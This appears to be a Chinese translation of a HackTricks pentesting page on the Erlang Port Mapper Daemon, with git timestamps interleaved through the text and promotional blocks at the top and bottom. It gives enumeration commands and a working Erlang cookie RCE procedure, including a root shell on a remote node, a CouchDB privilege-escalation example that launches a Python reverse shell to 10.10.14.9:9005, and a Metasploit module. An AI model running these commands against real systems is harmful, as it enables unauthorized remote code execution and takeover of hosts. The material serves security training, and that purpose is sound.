2022-04-28 16:01:33 +00:00
< details >
2024-01-05 23:03:10 +00:00
< summary > < strong > 从零到英雄学习AWS黑客攻击< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS红队专家)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram群组** ](https://t.me/peass ) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
# 基本信息
2020-07-15 15:43:14 +00:00
2024-01-05 23:03:10 +00:00
erlang端口映射守护进程用于协调分布式erlang实例。它的工作是**跟踪哪个节点名称监听哪个地址**。因此, epmd将符号节点名称映射到机器地址。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**默认端口**: 4369
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
2023-08-03 19:12:22 +00:00
这在RabbitMQ和CouchDB安装中默认使用。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
# 枚举
2020-07-15 15:43:14 +00:00
2024-01-05 23:03:10 +00:00
## 手动
2020-07-15 15:43:14 +00:00
```bash
echo -n -e "\x00\x01\x6e" | nc -vn < IP > 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('< HOST > '). #This will return the listen addresses
```
2024-01-05 23:03:10 +00:00
## 自动
2020-07-15 15:43:14 +00:00
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info < IP >
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
2023-08-03 19:12:22 +00:00
| epmd-info:
2020-07-15 15:43:14 +00:00
| epmd_port: 4369
2023-08-03 19:12:22 +00:00
| nodes:
2020-07-15 15:43:14 +00:00
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
2022-05-01 12:49:36 +00:00
# Erlang Cookie RCE
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 远程连接
2020-07-15 15:43:14 +00:00
2024-01-05 23:03:10 +00:00
如果您能够**泄露认证 cookie**,您将能够在主机上执行代码。通常,这个 cookie 位于 `~/.erlang.cookie` ,并且在 erlang 首次启动时生成。如果没有被修改或手动设置, 它是一个长度为20个字符的随机字符串 \[A:Z]。
2020-07-15 15:43:14 +00:00
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
2024-01-05 23:03:10 +00:00
更多信息请见 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ ](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ )
作者还分享了一个暴力破解cookie的程序:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 本地连接
2020-07-16 18:26:18 +00:00
2024-01-05 23:03:10 +00:00
在这种情况下, 我们将利用CouchDB在本地提升权限:
2020-07-16 18:26:18 +00:00
```bash
2023-08-03 19:12:22 +00:00
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
2020-07-16 18:26:18 +00:00
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
2024-01-05 23:03:10 +00:00
示例取自[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
您可以使用 **Canape HTB 机器来** **练习** 如何 **利用这个漏洞** 。
2020-07-16 18:26:18 +00:00
2022-05-01 12:49:36 +00:00
## Metasploit
2020-07-15 15:43:14 +00:00
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
2022-05-01 12:49:36 +00:00
# Shodan
2020-07-15 15:43:14 +00:00
* `port:4369 "at port"`
2022-04-28 16:01:33 +00:00
< details >
2024-01-05 23:03:10 +00:00
< summary > < strong > 从零到英雄学习AWS黑客攻击, 请查看< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram群组** ](https://t.me/peass ) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >